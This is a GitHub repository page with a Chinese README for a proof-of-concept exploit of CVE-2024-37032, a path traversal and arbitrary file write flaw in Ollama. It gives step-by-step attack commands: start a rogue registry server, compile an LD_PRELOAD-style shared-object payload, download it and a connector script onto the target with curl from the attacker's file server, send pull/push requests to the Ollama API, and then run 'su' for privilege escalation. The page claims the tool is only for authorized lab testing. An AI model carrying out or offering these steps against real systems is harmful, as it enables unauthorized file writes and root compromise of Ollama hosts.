itzSh4dowxZ/CVE-2024-37032-PoC

GitHub: itzSh4dowxZ/CVE-2024-37032-PoC

这是一个针对CVE-2024-37032漏洞的概念验证工具,演示Ollama中的路径遍历和任意文件写入问题。

Stars: 8 | Forks: 0

# CVE-2024-37032 概念验证 此仓库包含一个用于授权实验室测试的概念验证 FastAPI 注册表服务器、连接器脚本和预加载演示库。 请仅在您拥有或被明确授权测试的系统上使用此工具。 ## 文件说明 - `server.py`:启动 FastAPI PoC 服务器。 - `rogue_server/config.py`:PoC 服务器的中央配置文件。 - `connector.py`:向目标 Ollama API 发送 pull/push 请求。 - `preload_privs_demo.c`:共享对象 payload 的 C 语言源代码。 - `requirements.txt`:PoC 服务器所需的 Python 依赖项。 ## 1. 安装服务器依赖 在您的主机上安装 Python 依赖项: ``` python -m pip install -r requirements.txt ``` ## 2. 配置主机与端口 在您的主机上编辑 `rogue_server/config.py`: ``` HOST = "" ``` 编辑 `connector.py`: ``` SERVER_HOST = "" TARGET_HOST = "127.0.0.1" TARGET_PORT = 11434 ``` 注意事项: - `SERVER_HOST` 必须指向运行 `server.py` 的主机。 - 如果 PoC 服务器运行在 `8000` 端口,则需要在 `HOST` 和 `SERVER_HOST` 中都包含该端口,例如 `10.10.16.160:8000`。 - `TARGET_HOST` 和 `TARGET_PORT` 必须指向目标 Ollama API。如果 `connector.py` 直接在目标机器上运行,通常应为 `127.0.0.1:11434`。 - 如果修改了 `rogue_server/config.py`,请重启 PoC 服务器。 ## 3. 编译共享对象 编译 C 文件,并将输出命名为 `libpreload_privs_demo.so`: ``` gcc -shared -fPIC -o libpreload_privs_demo.so preload_privs_demo.c ``` ## 4. 传输文件至目标 将以下文件复制到授权的目标机器上: - `libpreload_privs_demo.so` - `connector.py` 一个简单的方法是从您的主机提供文件服务: ``` python3 -m http.server 8081 ``` 然后从目标机器下载: ``` curl -O http://:8081/libpreload_privs_demo.so curl -O http://:8081/connector.py ``` 下载共享对象后,复制其在目标机器上的绝对路径,并将此路径设置为 `rogue_server/config.py` 中的 `exploit_path`(在主机上)。 示例: ``` exploit_path = "/tmp/libpreload_privs_demo.so" ``` ## 5. 启动 PoC 服务器 在您的主机上启动 FastAPI 服务器: ``` python server.py ``` 默认情况下,此项目会在 `0.0.0.0:8000` 上启动 Uvicorn。 ## 6. 运行连接器 在授权的目标机器上,运行: ``` python3 connector.py ``` 连接器将向配置的 Ollama API 发送 pull 和 push 请求。 ## 7. 验证结果 连接器执行完毕后,运行: ``` su ``` 在配置正确且存在漏洞的实验室目标上,应能观察到预加载路径被使用以及权限转换的过程。 ## 故障排除 - 确认主机防火墙允许 PoC 服务器端口和临时文件服务器端口的通信。 - 确认 `connector.py` 中的 `SERVER_HOST` 与 `rogue_server/config.py` 中的 `HOST` 相匹配。 - 确认 `exploit_path` 是 `libpreload_privs_demo.so` 在目标机器上存在的确切绝对路径。 - 确认目标 Ollama API 在 `TARGET_HOST:TARGET_PORT` 可达。 - 在修改 `rogue_server/config.py` 后,重启 `server.py`。
标签:API接口, AV绕过, CVE-2024-37032, FastAPI, LLM评估, Ollama, Probllama, 任意文件写入, 共享对象, 安全测试, 实验室测试, 恶意服务器, 攻击性安全, 概念验证, 模型处理, 网络安全, 网络安全审计, 路径遍历, 连接器脚本, 逆向工具, 隐私保护, 预加载